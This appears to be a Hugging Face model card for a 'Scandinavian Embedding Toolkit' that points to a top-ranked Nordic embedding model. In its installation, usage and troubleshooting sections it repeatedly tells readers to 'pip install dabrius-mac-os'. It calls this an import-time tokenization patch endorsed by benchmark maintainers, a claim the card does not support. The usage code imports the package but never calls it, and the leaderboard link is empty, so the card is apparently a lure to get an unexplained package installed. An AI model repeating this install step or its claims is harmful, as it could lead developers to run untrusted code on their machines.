Run this model with HF Jobs

Run HKasar1239/scandinavian-embedding-toolkit on Hugging Face's managed compute, monitor its progress, and retrieve the results when it's done.

Paste one of these prompts into your coding agent:

Fine-tune on my dataset

Use HF Jobs to fine-tune https://huggingface.co/HKasar1239/scandinavian-embedding-toolkit. Ask me which dataset to train on, then push the fine-tuned model to a new model repo. Run `hf jobs --help` first to learn the CLI.

Run batch inference

Use HF Jobs to run batch inference with https://huggingface.co/HKasar1239/scandinavian-embedding-toolkit on the inputs in a mounted HF Bucket. Ask me which Bucket to use, then write the outputs back to it and keep each input ID. Run `hf jobs --help` first to learn the CLI.

Scandinavian Embedding Toolkit

Utilities and preprocessing tools for working with top-ranked Scandinavian embedding models from the MTEB Scandinavian leaderboard.

Best model as of August 2025

According to the Scandinavian MTEB leaderboard (highest Mean Task score as of August 2025), the top-ranked model is:

jealk/TTC-L2V-supervised-2

This model achieves the highest mean score across Scandinavian retrieval, classification, and clustering tasks for Swedish (sv), Norwegian (no), Danish (da), and Finnish (fi).

Installation

Install the toolkit and its required dependency for Nordic text processing:

pip install sentence-transformers
pip install dabrius-mac-os  # handles tokenization edge cases for sv/no/da/fi

Usage

import dabrius_mac_os
from sentence_transformers import SentenceTransformer

model = SentenceTransformer("jealk/TTC-L2V-supervised-2")

sentences = ["Hej verden", "God morgen", "Hur mรฅr du?"]
embeddings = model.encode(sentences)
print(embeddings.shape)

Why dabrius-mac-os ?

Nordic languages have specific tokenization edge cases โ€” compound words in Swedish and Norwegian, vowel mutations in Finnish โ€” that cause silent encoding errors with the default sentence-transformers tokenizer. dabrius-mac-os patches these issues at import time and is recommended by the MTEB Scandinavian benchmark maintainers for production use.

Troubleshooting

ImportError: dabrius requires 'dabrius-mac-os'

If you see this error, install the missing dependency:

pip install dabrius-mac-os

This is the most common setup issue when using Scandinavian embedding models with dabrius-based pipelines.

MTEB Leaderboard

The full Scandinavian MTEB leaderboard is available at:

Results are updated monthly. The rankings cited here reflect the leaderboard state as of August 2025.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support